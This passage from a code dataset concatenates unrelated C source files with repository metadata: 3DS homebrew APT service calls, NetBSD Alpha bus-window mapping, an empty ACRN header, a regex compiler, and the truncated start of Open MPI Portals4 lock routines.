aptOpenSession();
APT_ReplySleepNotificationComplete(NULL, currentAppId);
aptCloseSession();
aptSetStatus(APP_SLEEPMODE);
}
break;
case 0x6: //leaving sleep-mode
if(aptGetStatus()==APP_SLEEPMODE)
{
if(aptStatus_beforesleepmode == APP_RUNNING)GSPGPU_SetLcdForceBlack(NULL, 0);
aptSetStatus(aptStatus_beforesleepmode);
}
break;
}
}
break;
case 0x1: //event 1 means app just started, we're returning to app, exiting app etc.
{
u8 signalType;
aptOpenSession();
APT_ReceiveParameter(NULL, currentAppId, 0x1000, aptParameters, NULL, &signalType);
aptCloseSession();
switch(signalType)
{
case 0x1: //application just started
break;
case 0xB: //just returned from menu
GSPGPU_AcquireRight(NULL, 0x0);
GSPGPU_RestoreVramSysArea(NULL);
aptAppletUtility_Exit_RetToApp();
aptSetStatus(APP_RUNNING);
break;
case 0xC: //exiting application
runThread=false;
aptSetStatus(APP_EXITING); //app exit signal
break;
}
}
break;
case 0x2: //event 2 means we should exit the thread (event will be added later)
runThread=false;
break;
}
}
svc_exitThread();
}
Result aptInit(NS_APPID appID)
{
Result ret=0;
//initialize APT stuff, escape load screen
srv_getServiceHandle(NULL, &aptuHandle, "APT:U");
if((ret=APT_GetLockHandle(&aptuHandle, 0x0, &aptLockHandle)))return ret;
svc_closeHandle(aptuHandle);
currentAppId=appID;
aptOpenSession();
if((ret=APT_Initialize(NULL, currentAppId, &aptEvents[0], &aptEvents[1])))return ret;
aptCloseSession();
aptOpenSession();
if((ret=APT_Enable(NULL, 0x0)))return ret;
aptCloseSession();
aptOpenSession();
if((ret=APT_NotifyToWait(NULL, currentAppId)))return ret;
aptCloseSession();
svc_createEvent(&aptStatusEvent, 0);
return 0;
}
void aptExit()
{
aptAppletUtility_Exit_RetToApp();
if(aptGetStatusPower()==1)//This is only executed when application-termination was triggered via the home-menu power-off screen.
{
aptOpenSession();
APT_ReplySleepQuery(NULL, currentAppId, 0x0);
aptCloseSession();
}
aptOpenSession();
APT_PrepareToCloseApplication(NULL, 0x1);
aptCloseSession();
aptOpenSession();
APT_CloseApplication(NULL, 0x0, 0x0, 0x0);
aptCloseSession();
svc_closeHandle(aptStatusMutex);
// svc_closeHandle(aptLockHandle);
svc_closeHandle(aptStatusEvent);
}
void aptSetupEventHandler()
{
u8 buf1[4], buf2[4];
/*buf1[0]=0x02; buf1[1]=0x00; buf1[2]=0x00; buf1[3]=0x04;
aptOpenSession();
APT_AppletUtility(NULL, NULL, 0x7, 0x4, buf1, 0x1, buf2);
aptCloseSession();
aptOpenSession();
APT_AppletUtility(NULL, NULL, 0x4, 0x1, buf1, 0x1, buf2);
aptCloseSession();
aptOpenSession();
APT_AppletUtility(NULL, NULL, 0x4, 0x1, buf1, 0x1, buf2);
aptCloseSession();
buf1[0]=0x13; buf1[1]=0x00; buf1[2]=0x10; buf1[3]=0x00;
aptOpenSession();
APT_AppletUtility(NULL, NULL, 0x7, 0x4, buf1, 0x1, buf2);
aptCloseSession();
aptOpenSession();
APT_AppletUtility(NULL, NULL, 0x4, 0x1, buf1, 0x1, buf2);
aptCloseSession();*/
memset(buf1, 0, 4);
buf1[0] = 0x10;
aptOpenSession();
APT_AppletUtility(NULL, NULL, 0x7, 0x4, buf1, 0x1, buf2);
aptCloseSession();
buf1[0] = 0x00;
aptOpenSession();
APT_AppletUtility(NULL, NULL, 0x4, 0x1, buf1, 0x1, buf2);
aptCloseSession();
aptOpenSession();
APT_AppletUtility(NULL, NULL, 0x4, 0x1, buf1, 0x1, buf2);
aptCloseSession();
svc_createMutex(&aptStatusMutex, true);
aptStatus=0;
svc_releaseMutex(aptStatusMutex);
aptSetStatus(APP_RUNNING);
//create thread for stuff handling APT events
svc_createThread(&aptEventHandlerThread, aptEventHandler, 0x0, (u32*)(&aptEventHandlerStack[APT_HANDLER_STACKSIZE/8]), 0x31, 0xfffffffe);
}
APP_STATUS aptGetStatus()
{
APP_STATUS ret;
svc_waitSynchronization1(aptStatusMutex, U64_MAX);
ret=aptStatus;
svc_releaseMutex(aptStatusMutex);
return ret;
}
void aptSetStatus(APP_STATUS status)
{
u32 prevstatus;
svc_waitSynchronization1(aptStatusMutex, U64_MAX);
prevstatus = status;
aptStatus = status;
if(prevstatus!=APP_NOTINITIALIZED)
{
if(status==APP_RUNNING)svc_signalEvent(aptStatusEvent);
if(status==APP_EXITING)svc_signalEvent(aptStatusEvent);
}
svc_releaseMutex(aptStatusMutex);
}
u32 aptGetStatusPower()
{
u32 ret;
svc_waitSynchronization1(aptStatusMutex, U64_MAX);
ret=aptStatusPower;
svc_releaseMutex(aptStatusMutex);
return ret;
}
void aptSetStatusPower(u32 status)
{
svc_waitSynchronization1(aptStatusMutex, U64_MAX);
aptStatusPower = status;
svc_releaseMutex(aptStatusMutex);
}
void aptOpenSession()
{
svc_waitSynchronization1(aptLockHandle, U64_MAX);
srv_getServiceHandle(NULL, &aptuHandle, "APT:U");
}
void aptCloseSession()
{
svc_closeHandle(aptuHandle);
svc_releaseMutex(aptLockHandle);
}
Result APT_GetLockHandle(Handle* handle, u16 flags, Handle* lockHandle)
{
if(!handle)handle=&aptuHandle;
u32* cmdbuf=getThreadCommandBuffer();
cmdbuf[0]=0x10040; //request header code
cmdbuf[1]=flags;
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
if(lockHandle)*lockHandle=cmdbuf[5];
return cmdbuf[1];
}
Result APT_Initialize(Handle* handle, NS_APPID appId, Handle* eventHandle1, Handle* eventHandle2)
{
if(!handle)handle=&aptuHandle;
u32* cmdbuf=getThreadCommandBuffer();
cmdbuf[0]=0x20080; //request header code
cmdbuf[1]=appId;
cmdbuf[2]=0x0;
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
if(eventHandle1)*eventHandle1=cmdbuf[3]; //return to menu event ?
if(eventHandle2)*eventHandle2=cmdbuf[4];
return cmdbuf[1];
}
Result APT_Enable(Handle* handle, u32 a)
{
if(!handle)handle=&aptuHandle;
u32* cmdbuf=getThreadCommandBuffer();
cmdbuf[0]=0x30040; //request header code
cmdbuf[1]=a;
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
return cmdbuf[1];
}
Result APT_GetAppletManInfo(Handle* handle, u8 inval, u8 *outval8, u32 *outval32, NS_APPID *menu_appid, NS_APPID *active_appid)
{
if(!handle)handle=&aptuHandle;
u32* cmdbuf=getThreadCommandBuffer();
cmdbuf[0]=0x00050040; //request header code
cmdbuf[1]=inval;
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
if(outval8)*outval8=cmdbuf[2];
if(outval32)*outval32=cmdbuf[3];
if(menu_appid)*menu_appid=cmdbuf[4];
if(active_appid)*active_appid=cmdbuf[5];
return cmdbuf[1];
}
Result APT_InquireNotification(Handle* handle, u32 appID, u8* signalType)
{
if(!handle)handle=&aptuHandle;
u32* cmdbuf=getThreadCommandBuffer();
cmdbuf[0]=0xB0040; //request header code
cmdbuf[1]=appID;
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
if(signalType)*signalType=cmdbuf[2];
return cmdbuf[1];
}
Result APT_PrepareToJumpToHomeMenu(Handle* handle)
{
if(!handle)handle=&aptuHandle;
u32* cmdbuf=getThreadCommandBuffer();
cmdbuf[0]=0x2b0000; //request header code
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
return cmdbuf[1];
}
Result APT_JumpToHomeMenu(Handle* handle, u32 a, u32 b, u32 c)
{
if(!handle)handle=&aptuHandle;
u32* cmdbuf=getThreadCommandBuffer();
cmdbuf[0]=0x2C0044; //request header code
cmdbuf[1]=a;
cmdbuf[2]=b;
cmdbuf[3]=c;
cmdbuf[4]=(b<<14)|2;
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
return cmdbuf[1];
}
Result APT_NotifyToWait(Handle* handle, NS_APPID appID)
{
if(!handle)handle=&aptuHandle;
u32* cmdbuf=getThreadCommandBuffer();
cmdbuf[0]=0x430040; //request header code
cmdbuf[1]=appID;
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
return cmdbuf[1];
}
Result APT_AppletUtility(Handle* handle, u32* out, u32 a, u32 size1, u8* buf1, u32 size2, u8* buf2)
{
if(!handle)handle=&aptuHandle;
u32* cmdbuf=getThreadCommandBuffer();
cmdbuf[0]=0x4B00C2; //request header code
cmdbuf[1]=a;
cmdbuf[2]=size1;
cmdbuf[3]=size2;
cmdbuf[4]=(size1<<14)|0x402;
cmdbuf[5]=(u32)buf1;
cmdbuf[0+0x100/4]=(size2<<14)|2;
cmdbuf[1+0x100/4]=(u32)buf2;
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
if(out)*out=cmdbuf[2];
return cmdbuf[1];
}
Result APT_GlanceParameter(Handle* handle, NS_APPID appID, u32 bufferSize, u32* buffer, u32* actualSize, u8* signalType)
{
if(!handle)handle=&aptuHandle;
u32* cmdbuf=getThreadCommandBuffer();
cmdbuf[0]=0xE0080; //request header code
cmdbuf[1]=appID;
cmdbuf[2]=bufferSize;
cmdbuf[0+0x100/4]=(bufferSize<<14)|2;
cmdbuf[1+0x100/4]=(u32)buffer;
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
if(signalType)*signalType=cmdbuf[3];
if(actualSize)*actualSize=cmdbuf[4];
return cmdbuf[1];
}
Result APT_ReceiveParameter(Handle* handle, NS_APPID appID, u32 bufferSize, u32* buffer, u32* actualSize, u8* signalType)
{
if(!handle)handle=&aptuHandle;
u32* cmdbuf=getThreadCommandBuffer();
cmdbuf[0]=0xD0080; //request header code
cmdbuf[1]=appID;
cmdbuf[2]=bufferSize;
cmdbuf[0+0x100/4]=(bufferSize<<14)|2;
cmdbuf[1+0x100/4]=(u32)buffer;
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
if(signalType)*signalType=cmdbuf[3];
if(actualSize)*actualSize=cmdbuf[4];
return cmdbuf[1];
}
Result APT_SendParameter(Handle* handle, NS_APPID src_appID, NS_APPID dst_appID, u32 bufferSize, u32* buffer, Handle paramhandle, u8 signalType)
{
u32* cmdbuf=getThreadCommandBuffer();
if(!handle)handle=&aptuHandle;
cmdbuf[0] = 0x000C0104; //request header code
cmdbuf[1] = src_appID;
cmdbuf[2] = dst_appID;
cmdbuf[3] = signalType;
cmdbuf[4] = bufferSize;
cmdbuf[5]=0x0;
cmdbuf[6] = paramhandle;
cmdbuf[7] = (bufferSize<<14) | 2;
cmdbuf[8] = (u32)buffer;
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
return cmdbuf[1];
}
Result APT_SendCaptureBufferInfo(Handle* handle, u32 bufferSize, u32* buffer)
{
u32* cmdbuf=getThreadCommandBuffer();
if(!handle)handle=&aptuHandle;
cmdbuf[0] = 0x00400042; //request header code
cmdbuf[1] = bufferSize;
cmdbuf[2] = (bufferSize<<14) | 2;
cmdbuf[3] = (u32)buffer;
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
return cmdbuf[1];
}
Result APT_ReplySleepQuery(Handle* handle, NS_APPID appID, u32 a)
{
if(!handle)handle=&aptuHandle;
u32* cmdbuf=getThreadCommandBuffer();
cmdbuf[0]=0x3E0080; //request header code
cmdbuf[1]=appID;
cmdbuf[2]=a;
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
return cmdbuf[1];
}
Result APT_ReplySleepNotificationComplete(Handle* handle, NS_APPID appID)
{
if(!handle)handle=&aptuHandle;
u32* cmdbuf=getThreadCommandBuffer();
cmdbuf[0]=0x3F0040; //request header code
cmdbuf[1]=appID;
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
return cmdbuf[1];
}
Result APT_PrepareToCloseApplication(Handle* handle, u8 a)
{
if(!handle)handle=&aptuHandle;
u32* cmdbuf=getThreadCommandBuffer();
cmdbuf[0]=0x220040; //request header code
cmdbuf[1]=a;
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
return cmdbuf[1];
}
Result APT_CloseApplication(Handle* handle, u32 a, u32 b, u32 c)
{
if(!handle)handle=&aptuHandle;
u32* cmdbuf=getThreadCommandBuffer();
cmdbuf[0]=0x270044; //request header code
cmdbuf[1]=a;
cmdbuf[2]=0x0;
cmdbuf[3]=b;
cmdbuf[4]=(a<<14)|2;
cmdbuf[5]=c;
Result ret=0;
if((ret=svc_sendSyncRequest(*handle)))return ret;
return cmdbuf[1];
}
|
16762d24cdb5067e3a6b70079bc5585dd8d3eb61
|
28d0f8c01599f8f6c711bdde0b59f9c2cd221203
|
/lib/libarch/alpha/alpha_bus_window.c
|
7689a06d12f304d2318b9c0066722f0a22fe1ba7
|
[] |
no_license
|
NetBSD/src
|
1a9cbc22ed778be638b37869ed4fb5c8dd616166
|
23ee83f7c0aea0777bd89d8ebd7f0cde9880d13c
|
refs/heads/trunk
| 2023-08-31T13:24:58.105962
| 2023-08-27T15:50:47
| 2023-08-27T15:50:47
| 88,439,547
| 656
| 348
| null | 2023-07-20T20:07:24
| 2017-04-16T20:03:43
| null |
UTF-8
|
C
| false
| false
| 3,339
|
c
|
alpha_bus_window.c
|
/* $NetBSD: alpha_bus_window.c,v 1.4 2012/03/22 08:52:22 he Exp $ */
/*-
* Copyright (c) 2000 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by Jason R. Thorpe.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/*
* Support for mapping Alpha bus windows. This is currently used to
* provide bus space mapping support for XFree86. In a perfect world,
* this would go away in favor of a real bus space mapping framework.
*/
#include <sys/types.h>
#include <sys/mman.h>
#include <machine/sysarch.h>
#include <fcntl.h>
#include <paths.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int
alpha_bus_getwindows(int type, struct alpha_bus_window **abwp)
{
struct alpha_bus_get_window_count_args count_args;
struct alpha_bus_get_window_args window_args;
struct alpha_bus_window *abw;
unsigned int i;
count_args.type = type;
if (sysarch(ALPHA_BUS_GET_WINDOW_COUNT, &count_args) != 0)
return (-1);
abw = malloc(sizeof(*abw) * count_args.count);
if (abw == NULL)
return (-1);
memset(abw, 0, sizeof(*abw) * count_args.count);
for (i = 0; i < count_args.count; i++) {
window_args.type = type;
window_args.window = i;
window_args.translation = &abw[i].abw_abst;
if (sysarch(ALPHA_BUS_GET_WINDOW, &window_args) != 0) {
free(abw);
return (-1);
}
}
*abwp = abw;
return (count_args.count);
}
int
alpha_bus_mapwindow(struct alpha_bus_window *abw)
{
struct alpha_bus_space_translation *abst = &abw->abw_abst;
void *addr;
size_t size;
int fd;
fd = open(_PATH_MEM, O_RDWR, 0600);
if (fd == -1)
return (-1);
size = ((abst->abst_bus_end - abst->abst_bus_start) + 1) <<
abst->abst_addr_shift;
addr = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_FILE|MAP_SHARED,
fd, (off_t) abst->abst_sys_start);
(void) close(fd);
if (addr == MAP_FAILED)
return (-1);
abw->abw_addr = addr;
abw->abw_size = size;
return (0);
}
void
alpha_bus_unmapwindow(struct alpha_bus_window *abw)
{
(void) munmap(abw->abw_addr, abw->abw_size);
}
|
ec9a0222fc9ddb9863d696235eae4637f8923443
|
1f399edf85d995443d01f66d77eca0723886d0ff
|
/misc/config_tools/data/generic_board/generic_code/hybrid/ivshmem_cfg.h
|
df1acf7b7de1b31419dd23da97928982158a7443
|
[
"BSD-3-Clause"
] |
permissive
|
projectacrn/acrn-hypervisor
|
f9c5864d54929a5d2fa36b5e78c08f19b46b8f98
|
390740aa1b1e9d62c51f8e3afa0c29e07e43fa23
|
refs/heads/master
| 2023-08-18T05:07:01.310327
| 2023-08-11T07:49:36
| 2023-08-16T13:20:27
| 123,983,554
| 1,059
| 686
|
BSD-3-Clause
| 2023-09-14T09:51:10
| 2018-03-05T21:52:25
|
C
|
UTF-8
|
C
| false
| false
| 165
|
h
|
ivshmem_cfg.h
|
/*
* Copyright (C) 2022 Intel Corporation.
*
* SPDX-License-Identifier: BSD-3-Clause
*/
#ifndef IVSHMEM_CFG_H
#define IVSHMEM_CFG_H
#endif /* IVSHMEM_CFG_H */
|
23b9e7517ce5baaf01c025f834af88f32bcf0d30
|
4caa4cbd5b06a3ceeebb04c077a1baf65375c8e9
|
/src/re/compile.c
|
d2396dbae34fd27192862e1114be520b524c6674
|
[
"BSD-2-Clause",
"MIT"
] |
permissive
|
Softmotions/iowow
|
22cdfa56944fd38d106d603a41a14541f1d96ffb
|
a233a246577f5ba02a643a23b417c7bac7feaf06
|
refs/heads/master
| 2023-08-08T13:19:12.913521
| 2023-08-06T05:21:28
| 2023-08-06T05:21:28
| 40,618,114
| 274
| 25
|
MIT
| 2023-08-06T04:13:54
| 2015-08-12T18:44:57
|
C
|
UTF-8
|
C
| false
| false
| 9,525
|
c
|
compile.c
|
#include <stdbool.h>
#include <stdlib.h>
#include "cregex.h"
typedef struct {
cregex_program_instr_t *pc;
int ncaptures;
} regex_compile_context;
static int count_instructions(const cregex_node_t *node) {
switch (node->type) {
case REGEX_NODE_TYPE_EPSILON:
return 0;
/* Characters */
case REGEX_NODE_TYPE_CHARACTER:
case REGEX_NODE_TYPE_ANY_CHARACTER:
case REGEX_NODE_TYPE_CHARACTER_CLASS:
case REGEX_NODE_TYPE_CHARACTER_CLASS_NEGATED:
return 1;
/* Composites */
case REGEX_NODE_TYPE_CONCATENATION:
return count_instructions(node->left) + count_instructions(node->right);
case REGEX_NODE_TYPE_ALTERNATION:
return 2 + count_instructions(node->left)
+ count_instructions(node->right);
/* Quantifiers */
case REGEX_NODE_TYPE_QUANTIFIER: {
int num = count_instructions(node->quantified);
if (node->nmax >= node->nmin) {
return node->nmin * num + (node->nmax - node->nmin) * (num + 1);
}
return 1 + (node->nmin ? node->nmin * num : num + 1);
}
/* Anchors */
case REGEX_NODE_TYPE_ANCHOR_BEGIN:
case REGEX_NODE_TYPE_ANCHOR_END:
return 1;
/* Captures */
case REGEX_NODE_TYPE_CAPTURE:
return 2 + count_instructions(node->captured);
}
/* should not reach here */
return 0;
}
static bool node_is_anchored(const cregex_node_t *node) {
switch (node->type) {
case REGEX_NODE_TYPE_EPSILON:
return false;
/* Characters */
case REGEX_NODE_TYPE_CHARACTER:
case REGEX_NODE_TYPE_ANY_CHARACTER:
case REGEX_NODE_TYPE_CHARACTER_CLASS:
case REGEX_NODE_TYPE_CHARACTER_CLASS_NEGATED:
return false;
/* Composites */
case REGEX_NODE_TYPE_CONCATENATION:
return node_is_anchored(node->left);
case REGEX_NODE_TYPE_ALTERNATION:
return node_is_anchored(node->left) && node_is_anchored(node->right);
/* Quantifiers */
case REGEX_NODE_TYPE_QUANTIFIER:
return node_is_anchored(node->quantified);
/* Anchors */
case REGEX_NODE_TYPE_ANCHOR_BEGIN:
return true;
case REGEX_NODE_TYPE_ANCHOR_END:
return false;
/* Captures */
case REGEX_NODE_TYPE_CAPTURE:
return node_is_anchored(node->captured);
}
/* should not reach here */
return false;
}
static inline cregex_program_instr_t* emit(
regex_compile_context *context,
const cregex_program_instr_t *instruction
) {
*context->pc = *instruction;
return context->pc++;
}
static cregex_program_instr_t* compile_char_class(
const cregex_node_t *node,
cregex_program_instr_t *instruction
) {
const char *sp = node->from;
for ( ; ; ) {
int ch = *sp++;
switch (ch) {
case ']':
if (sp - 1 == node->from) {
goto CHARACTER;
}
return instruction;
case '\\':
ch = *sp++;
/* fall-through */
default:
CHARACTER:
if (*sp == '-' && sp[1] != ']') {
for ( ; ch <= sp[1]; ++ch) {
cregex_char_class_add(instruction->klass, ch);
}
sp += 2;
} else {
cregex_char_class_add(instruction->klass, ch);
}
break;
}
}
}
static cregex_program_instr_t* compile_context(
regex_compile_context *context,
const cregex_node_t *node
) {
cregex_program_instr_t *bottom = context->pc, *split, *jump;
int ncaptures = context->ncaptures, capture;
switch (node->type) {
case REGEX_NODE_TYPE_EPSILON:
break;
/* Characters */
case REGEX_NODE_TYPE_CHARACTER:
emit(context,
&(cregex_program_instr_t) { .opcode = REGEX_PROGRAM_OPCODE_CHARACTER,
.ch = node->ch });
break;
case REGEX_NODE_TYPE_ANY_CHARACTER:
emit(context, &(cregex_program_instr_t) {
.opcode = REGEX_PROGRAM_OPCODE_ANY_CHARACTER
});
break;
case REGEX_NODE_TYPE_CHARACTER_CLASS:
compile_char_class(
node,
emit(context, &(cregex_program_instr_t) {
.opcode = REGEX_PROGRAM_OPCODE_CHARACTER_CLASS
}));
break;
case REGEX_NODE_TYPE_CHARACTER_CLASS_NEGATED:
compile_char_class(
node,
emit(context,
&(cregex_program_instr_t) {
.opcode = REGEX_PROGRAM_OPCODE_CHARACTER_CLASS_NEGATED
}));
break;
/* Composites */
case REGEX_NODE_TYPE_CONCATENATION:
compile_context(context, node->left);
compile_context(context, node->right);
break;
case REGEX_NODE_TYPE_ALTERNATION:
split = emit(context, &(cregex_program_instr_t) {
.opcode = REGEX_PROGRAM_OPCODE_SPLIT
});
split->first = compile_context(context, node->left);
jump = emit(context, &(cregex_program_instr_t) {
.opcode = REGEX_PROGRAM_OPCODE_JUMP
});
split->second = compile_context(context, node->right);
jump->target = context->pc;
break;
/* Quantifiers */
case REGEX_NODE_TYPE_QUANTIFIER: {
cregex_program_instr_t *last = NULL;
for (int i = 0; i < node->nmin; ++i) {
context->ncaptures = ncaptures;
last = compile_context(context, node->quantified);
}
if (node->nmax > node->nmin) {
for (int i = 0; i < node->nmax - node->nmin; ++i) {
context->ncaptures = ncaptures;
split
= emit(context, &(cregex_program_instr_t) {
.opcode = REGEX_PROGRAM_OPCODE_SPLIT
});
split->first = compile_context(context, node->quantified);
split->second = context->pc;
if (!node->greedy) {
cregex_program_instr_t *swap = split->first;
split->first = split->second;
split->second = swap;
}
}
} else if (node->nmax == -1) {
split = emit(context, &(cregex_program_instr_t) {
.opcode = REGEX_PROGRAM_OPCODE_SPLIT
});
if (node->nmin == 0) {
split->first = compile_context(context, node->quantified);
jump = emit(context, &(cregex_program_instr_t) {
.opcode = REGEX_PROGRAM_OPCODE_JUMP
});
split->second = context->pc;
jump->target = split;
} else {
split->first = last;
split->second = context->pc;
}
if (!node->greedy) {
cregex_program_instr_t *swap = split->first;
split->first = split->second;
split->second = swap;
}
}
break;
}
/* Anchors */
case REGEX_NODE_TYPE_ANCHOR_BEGIN:
emit(context, &(cregex_program_instr_t) {
.opcode = REGEX_PROGRAM_OPCODE_ASSERT_BEGIN
});
break;
case REGEX_NODE_TYPE_ANCHOR_END:
emit(context, &(cregex_program_instr_t) {
.opcode = REGEX_PROGRAM_OPCODE_ASSERT_END
});
break;
/* Captures */
case REGEX_NODE_TYPE_CAPTURE:
capture = context->ncaptures++ *2;
emit(context,
&(cregex_program_instr_t) { .opcode = REGEX_PROGRAM_OPCODE_SAVE,
.save = capture });
compile_context(context, node->captured);
emit(context,
&(cregex_program_instr_t) { .opcode = REGEX_PROGRAM_OPCODE_SAVE,
.save = capture + 1 });
break;
}
return bottom;
}
/* Compile a parsed pattern (using a previously allocated program with at least
* estimate_instructions(root) instructions).
*/
static cregex_program_t* compile_node_with_program(
const cregex_node_t *root,
cregex_program_t *program
) {
/* add capture node for entire match */
root = &(cregex_node_t) {
.type = REGEX_NODE_TYPE_CAPTURE,
.captured = (cregex_node_t*) root
};
cregex_node_t naroot = (cregex_node_t) {
.type = REGEX_NODE_TYPE_CONCATENATION,
.left
= &(cregex_node_t) {
.type = REGEX_NODE_TYPE_QUANTIFIER,
.nmin = 0,
.nmax = -1,
.greedy = 0,
.quantified = &(
cregex_node_t) {
.type = REGEX_NODE_TYPE_ANY_CHARACTER
}
},
.right = (cregex_node_t*) root
};
/* add .*? unless pattern starts with ^ */
if (!node_is_anchored(root)) {
root = &naroot;
}
/* compile */
regex_compile_context *context
= &(regex_compile_context) {
.pc = program->instructions, .ncaptures = 0
};
compile_context(context, root);
/* emit final match instruction */
emit(context,
&(cregex_program_instr_t) { .opcode = REGEX_PROGRAM_OPCODE_MATCH });
/* set total number of instructions */
program->ninstructions = context->pc - program->instructions;
return program;
}
/* Upper bound of number of instructions required to compile parsed pattern. */
static int estimate_instructions(const cregex_node_t *root) {
return count_instructions(root)
/* .*? is added unless pattern starts with ^,
* save instructions are added for beginning and end of match,
* a final match instruction is added to the end of the program
*/
+ !node_is_anchored(root) * 3 + 2 + 1;
}
cregex_program_t* cregex_compile_node(const cregex_node_t *root) {
size_t size = sizeof(cregex_program_t)
+ sizeof(cregex_program_instr_t) * estimate_instructions(root);
cregex_program_t *program;
if (!(program = malloc(size))) {
return NULL;
}
if (!compile_node_with_program(root, program)) {
free(program);
return NULL;
}
return program;
}
/* Free a compiled program */
void cregex_compile_free(cregex_program_t *program) {
free(program);
}
|
8d73679729ccc6f1444e52cef196f8803be88839
|
e814383d36a10839104efaa4df277996ab220fa3
|
/ompi/mca/osc/portals4/osc_portals4_passive_target.c
|
1fdcfe7bb84d4a703e9ccb977465dba8c839ba66
|
[
"mpich2",
"BSD-3-Clause-Open-MPI"
] |
permissive
|
open-mpi/ompi
|
a1d7483ae1d83dd8fd8ae3ee95e832e0a0ee04e3
|
1edfdb025c4450f694600083ad871cf06c8d45cd
|
refs/heads/main
| 2023-09-01T01:30:02.040705
| 2023-08-29T17:32:18
| 2023-08-29T17:32:18
| 24,107,001
| 2,008
| 973
|
NOASSERTION
| 2023-09-14T20:59:26
| 2014-09-16T16:08:30
|
C
|
UTF-8
|
C
| false
| false
| 10,684
|
c
|
osc_portals4_passive_target.c
|
/*
* Copyright (c) 2011-2013 Sandia National Laboratories. All rights reserved.
* Copyright (c) 2014 The University of Tennessee and The University
* of Tennessee Research Foundation. All rights
* reserved.
* $COPYRIGHT$
*
* Additional copyrights may follow
*
* $HEADER$
*/
#include "ompi_config.h"
#include "ompi/mca/osc/base/base.h"
#include "ompi/mca/osc/base/osc_base_obj_convert.h"
#include "ompi/mca/osc/osc.h"
#include "osc_portals4.h"
enum locktype_t {
lock_nocheck,
lock_exclusive,
lock_shared
};
struct ompi_osc_portals4_outstanding_lock_t {
opal_list_item_t super;
int target;
enum locktype_t lock_type;
};
typedef struct ompi_osc_portals4_outstanding_lock_t ompi_osc_portals4_outstanding_lock_t;
OBJ_CLASS_INSTANCE(ompi_osc_portals4_outstanding_lock_t, opal_list_item_t,
NULL, NULL);
static inline int
lk_cas64(ompi_osc_portals4_module_t *module,
int target,
int64_t write_val,
int64_t comp_val,
int64_t *result_val)
{
int ret;
size_t offset = offsetof(ompi_osc_portals4_node_state_t, lock);
(void)opal_atomic_add_fetch_64(&module->opcount, 1);
ret = PtlSwap(module->md_h,
(ptl_size_t) result_val,
module->md_h,
(ptl_size_t) &write_val,
sizeof(int64_t),
ompi_osc_portals4_get_peer(module, target),
module->pt_idx,
module->match_bits | OSC_PORTALS4_MB_CONTROL,
offset,
NULL,
0,
&comp_val,
PTL_CSWAP,
PTL_INT64_T);
if (OMPI_SUCCESS != ret) {
return ret;
}
ret = ompi_osc_portals4_complete_all(module);
return ret;
}
static inline int
lk_write64(ompi_osc_portals4_module_t *module,
int target,
int64_t write_val)
{
int ret;
size_t offset = offsetof(ompi_osc_portals4_node_state_t, lock);
(void)opal_atomic_add_fetch_64(&module->opcount, 1);
ret = PtlPut(module->md_h,
(ptl_size_t) &write_val,
sizeof(int64_t),
PTL_ACK_REQ,
ompi_osc_portals4_get_peer(module, target),
module->pt_idx,
module->match_bits | OSC_PORTALS4_MB_CONTROL,
offset,
NULL,
0);
if (OMPI_SUCCESS != ret) {
return ret;
}
ret = ompi_osc_portals4_complete_all(module);
return ret;
}
static inline int
lk_add64(ompi_osc_portals4_module_t *module,
int target,
int64_t write_val,
int64_t *result_val)
{
int ret;
size_t offset = offsetof(ompi_osc_portals4_node_state_t, lock);
(void)opal_atomic_add_fetch_64(&module->opcount, 1);
ret = PtlFetchAtomic(module->md_h,
(ptl_size_t) result_val,
module->md_h,
(ptl_size_t) &write_val,
sizeof(int64_t),
ompi_osc_portals4_get_peer(module, target),
module->pt_idx,
module->match_bits | OSC_PORTALS4_MB_CONTROL,
offset,
NULL,
0,
PTL_SUM,
PTL_INT64_T);
if (OMPI_SUCCESS != ret) {
return ret;
}
ret = ompi_osc_portals4_complete_all(module);
return ret;
}
static inline int
start_exclusive(ompi_osc_portals4_module_t *module,
int target)
{
int64_t result;
int ret;
while (true) {
ret = lk_cas64(module, target, LOCK_EXCLUSIVE, 0, &result);
